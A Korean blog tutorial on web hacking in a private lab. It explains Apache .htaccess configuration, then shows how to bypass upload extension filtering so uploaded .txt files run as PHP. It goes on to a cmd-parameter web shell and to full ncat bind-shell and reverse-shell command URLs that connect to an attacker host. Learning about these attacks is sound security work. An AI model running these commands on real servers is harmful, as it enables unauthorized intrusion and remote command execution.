아파치 웹 서버 설정 파일 / 확장자 우회 / 웹쉘 / 바인드쉘 / 리버스쉘

2017. 8. 31. 19:31WebHacking/Web



< 아파치 웹 서버 설정 파일 >


1> 전역 설정 파일 ( 아파치 웹 서버 전체 웹페이지에 적용 )

/etc/httpd/conf/httpd.conf


2> 로컬 설정 파일 ( .htaccess )

해당 파일이 존재하는 디렉터리와 그 하위 디렉터리에만 설정이 적용된다

사용하기 위해서는 /etc/httpd/conf/httpd.conf 338번 라인 " AllowOverride ALL "로 수정 후 사용해야 한다

로컬 설정파일은 보통 아래와 같이 사용한다


로컬설정파일 작성경로 : /var/www/html/zboard/.htaccess ( zboard와 그 하위 디렉토리는 .htaccess 파일의 설정이 적용된다 )

zboard 페이지에만 설정을 적용하려고 zboard디렉터리에 해당 파일을 작성한다



 AuthType Basic

 AuthName "Basic Auth Text"

 AuthUserFile /var/www/html/.htpasswd        // .htpasswd파일에 계정들을 저장한다

 Require valid-use                                              // 그 파일의 계정으로 접속해야 해당 웹 페이지에 접속이 가능하다



.htaccess파일은 이처럼 해당 웹페이지에 허가된 사용자들만 접속할 수 있도록 설정할 때 주로 사용한다

.htaccess파일을 이용해서 파일 확장자를 우회하는 방법에 대해 알아보도록 하겠습니다


[ 우회원리 ]

" .htaccess 파일과 공격용 코드파일을 하나의 디렉토리에 위치시킨다 "

" .htaccess 파일에 정의된 설정이 공격용 코드파일에 적용되는 원리를 이용한다 "


#1. 확장자 필터링 우회하기

[ 1> .htaccess 파일생성 ] 

=> .txt 와 .php 확장자 파일은 php모듈로 읽어들이라는 설정


AddHandler php5-script [확장자] 해당 확장자 파일을 php-script5로 처리

AddType text/html [확장자] 해당 확장자 파일을 처리할 타입


[ 2> .htaccess , attack.txt 파일 생성 ]


이 두개의 파일을 게시판을 통해 업로드하여 웹 페이지 서버 내의 파일안에 다운로드한다


[ 3> 두개의 파일업로드 ]


클릭한다면 ! 5번의 결과를 얻게될것이다


[ 4> 서버파일 확인 ] /var/www/html/zboard/data : 게시판에 업로드한 파일 저장디렉토리


그림에서처럼 " /var/www/html/zboard/data " 파일안에 .htacess 와 attack.txt 파일이 같이 존재하고 있다

즉 .htaccess에서 정의한 설정이 attack.txt 파일에 적용된다


게시판에서 attack.txt 파일을 다운로드 하려고 클릭해보자 !


[ 5> http://192.168.6.123/zboard/data/attack.txt  ]


.htaccess설정으로 인해 zboard/data디렉터리와 그 하위 디렉터리는 .txt 확장자를 가진 파일을 php모듈로 읽어들이게 됩니다

따라서 attack.txt 파일은 php로 실행되어져 attack.txt라는 웹 페이지로 작동합니다

attack.txt 웹 페이지에서 입력해놓은 <?php print"Hello php~?"; ?> php명령어가 정상적으로 실행된 결과를 확인할 수 있습니다

print 명령어 대신 웹쉘이라든지 다른 공격코드를 작성해놓으면 공격이 성공됩니다



#2. Web Shell 

위에서 공격파일에 입력한 출력문 대신에 아래코드를 입력합시다


[ 쉘 실행 명령어 ]


GET방식으로 넘어온 cmd변수를 system함수로 실행한다


[ attack2.txt 클릭시 http://~/attack2.txt 페이지로 이동 ]


[ 서버 파일 ]


/var/www/html/zboard/data 디렉터리에는 게시판에 업로드하는 파일들이 저장되는 곳입니다

해당 디렉터리에 .htaccess파일과 php소스코드 파일들이 같이 존재합니다

따라서, .txt 확장자의 php소스코드 파일을 업로드함으로써 php확장자파일의 업로드를 거부하는 필터링을 우회할 수 있다


결국 .txt 파일들은 php로 동작하여 해당 파일을 다운로드하려고 클릭한다면 공격 웹페이지로 이동하게됩니다

아래는 게시판에서 attack2.txt파일을 다운로드하려고 클릭하여 http://192.168.6.123/zboard/data/attack2.txt 웹페이지로 이동된 결과입니다


[ cmd=명령어 => 해당 명령어 작동 ]



#3. Bind Shell

* 공격대상 서버에 포트를 오픈시킨다음 공격자 서버에서 해당 포트번호로 연결을 시도한다

[ cmd변수에 명령어 조작 ]


http://192.168.6.123/zboard/data/attack2.txt?cmd=ncat -e /bin/sh -l -p 1414 


웹 페이지에서 해당 명령어가 실행된다 ( cmd=ncat -e /bin/sh -l -p 1414 )

#ncat -e /bin/sh -l -p 1414

=>  IP주소는 아파치 서버 ( 192.168.6.123 )이고 1414포트가 오픈된다

-e /bin/sh : 입력하는 문자를 /bin/sh로 읽는다 -> 명령어로 실행된다


윈도우용 ncat 파일을 다운받은 후 접속해보자 ( 구글에서 "window netcat다운" 검색 )

" nc.exe 192.168.6.123 1414 " => 해당 IP주소의 포트로 연결한다 ( nc.exe : netcat파일명 )


[ 윈도우에서 명령어 실행결과 ]


윈도우에서 해당 웹 페이지의 서버의 포트로 연결을 시도

=> 입력하는 명령어가 apache의 권한으로 실행되어지는 것을 확인 할 수 있습니다



#3. 리버스 쉘

* 공격자서버에 포트를 오픈시킨다음 공격대상서버에서 공격자서버의 포트로 연결을 시도하도록 한다

* 방화벽에서 아웃바운드 정책이 허술하다는 측면을 이용한 쉘 획득 방법

[ 과정 ]

1> 공격자의 서버에서 특정 포트를 열어 놓는다

2> 웹서버에서 해당 공격자의 서버로 접속하도록 한다

3> 공격자는 명령어를 사용할 수 있다


[ 1> 공격자의 서버에서 포트 오픈 ]


공격자서버 ( 192.168.10.224 )의 8585번 포트를 오픈시킨다


[ 2> 웹 페이지에서 공격자 서버로 접속 ]


http://192.168.6.123/zboard/data/attack2.txt?cmd=ncat -e /bin/sh 192.168.10.224 8585 

=> 192.168.10.224의 8585포트로 연결을 시도한다

-e /bin/sh:    서버에서 문자열 입력시 명령어로 인식된다



* 바인드 쉘과는 반대로 공격자서버로 연결을 시도하는 희생자서버에서 -e 옵션을 주어서 ncat연결을 하였다
 

* 공격자 서버에서 입력하는 문자들이 희생자서버에서의 apache권한으로 명령어로 실행되어지는 것이 확인된